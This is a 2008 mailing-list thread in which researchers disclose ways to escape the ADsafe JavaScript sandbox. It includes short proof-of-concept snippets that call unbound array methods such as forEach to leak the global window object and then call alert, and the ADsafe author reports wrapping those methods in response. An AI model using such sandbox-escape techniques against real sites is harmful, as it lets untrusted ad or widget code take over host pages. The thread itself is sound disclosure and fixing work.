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Re: ADsafe and bind

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  • marcel.laverdet
    ... As follows: var leak; ([].forEach || 0)(function(a,b,win) { leak = win; }); leak.alert(leak); Simple demo:
    Message 1 of 13 , Sep 8, 2008
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      --- In caplet@yahoogroups.com, "Douglas Crockford" <douglas@...> wrote:
      >
      > --- In caplet@yahoogroups.com, "marcel.laverdet" <marcel@> wrote:
      >
      > Thanks, Marcel, that was really helpful. ADsafe's mozilla function is
      > now conditioned on the existence of slots for concat, filter, map,
      > reverse, slice, and sort.
      >
      > I haven't found the leak in forEach. How does that one work?
      >

      As follows:
      <iframe src="#"></iframe>
      <script>
      var leak;
      ([].forEach || 0)(function(a,b,win) {
      leak = win;
      });
      leak.alert(leak);
      </script>

      Simple demo:
      http://llamaguy.com/adsafe/

      It even works in Safari :D
    • brendaneich
      ... These vulnerabilities were first pointed out by Jeff Walden and Eli Friedman, then interns at Mozilla, in August 2007. Jeff wrote back then in reply to
      Message 2 of 13 , Sep 8, 2008
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        --- In caplet@yahoogroups.com, "Douglas Crockford" <douglas@...> wrote:
        >
        > --- In caplet@yahoogroups.com, "marcel.laverdet" <marcel@> wrote:
        >
        > Thanks, Marcel, that was really helpful. ADsafe's mozilla function is
        > now conditioned on the existence of slots for concat, filter, map,
        > reverse, slice, and sort.
        >
        > I haven't found the leak in forEach. How does that one work?

        These vulnerabilities were first pointed out by Jeff Walden and Eli
        Friedman, then interns at Mozilla, in August 2007. Jeff wrote back
        then in reply to Marcel:

        "... you need only call it on something that has a length property (or
        a getter that doesn't throw), and so long as your provided function
        *is* one, it'll get called for each item less than the pre-computed
        length. Here's an example:

        =====

        <a onclick="boom();">click here</a>
        <script>

        function boom()
        {
        var win = null;
        var forEach = [].forEach;
        forEach(function(val, prop, thisp) {
        win = thisp;
        }, []);
        win.alert("Hello world!");
        }

        </script>

        =====

        Aha, but that doesn't work, and for a simple enough reason: the test
        console page (presumably you used this) doesn't have any subframes,
        iframes, etc. Consequently, |window.length == 0| and there's nothing
        to iterate over, so the callback is never called. However, it's a
        reasonably safe bet that most Facebook pages *will* contain iframes
        for ads, and with an iframe in the document it'll succeed. To
        demonstrate this, simply run the following URL on the test console
        after loading the given example:

        javascript:var d = document;
        d.body.appendChild(d.createElement("iframe"));[].v

        Before I load that, the exploit fails. After I load it, it succeeds.

        Jeff

        0.
        http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:forEach
        "

        Separately, Eli wrote:

        "Some other methods that are also vulnerable: Array.prototype.reverse,
        Array.prototype.sort, Array.prototype.forEach (returns this in Safari 2
        only), and Object.prototype.valueOf.

        Also, combined with Array.prototype.push or Array.prototype.unshift or
        the existence of a subframe, a similar vulnerability exists with
        Array.prototype.forEach, Array.prototype.every, Array.prototype.map,
        Array.prototype.some, Array.prototype.reduce (Fx 3 only),
        Array.prototype.reduceRight (Fx 3 only), and Array.prototype.filter.

        -Eli
        "

        So scrutinize all of the array extras, not just forEach, map, and filter.

        HTH, and credit where due.

        /be
      • Douglas Crockford
        ... Thanks. ADsafe is now wrapping concat every filter forEach map reduce reduceRight reverse slice some sort.
        Message 3 of 13 , Sep 8, 2008
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          --- In caplet@yahoogroups.com, "marcel.laverdet" <marcel@...> wrote:
          >
          > --- In caplet@yahoogroups.com, "Douglas Crockford" <douglas@> wrote:
          > >
          > > --- In caplet@yahoogroups.com, "marcel.laverdet" <marcel@> wrote:
          > >
          > > Thanks, Marcel, that was really helpful. ADsafe's mozilla function is
          > > now conditioned on the existence of slots for concat, filter, map,
          > > reverse, slice, and sort.
          > >
          > > I haven't found the leak in forEach. How does that one work?
          > >
          >
          > As follows:
          > <iframe src="#"></iframe>
          > <script>
          > var leak;
          > ([].forEach || 0)(function(a,b,win) {
          > leak = win;
          > });
          > leak.alert(leak);
          > </script>
          >
          > Simple demo:
          > http://llamaguy.com/adsafe/
          >
          > It even works in Safari :D

          Thanks. ADsafe is now wrapping concat every filter forEach map reduce
          reduceRight reverse slice some sort.
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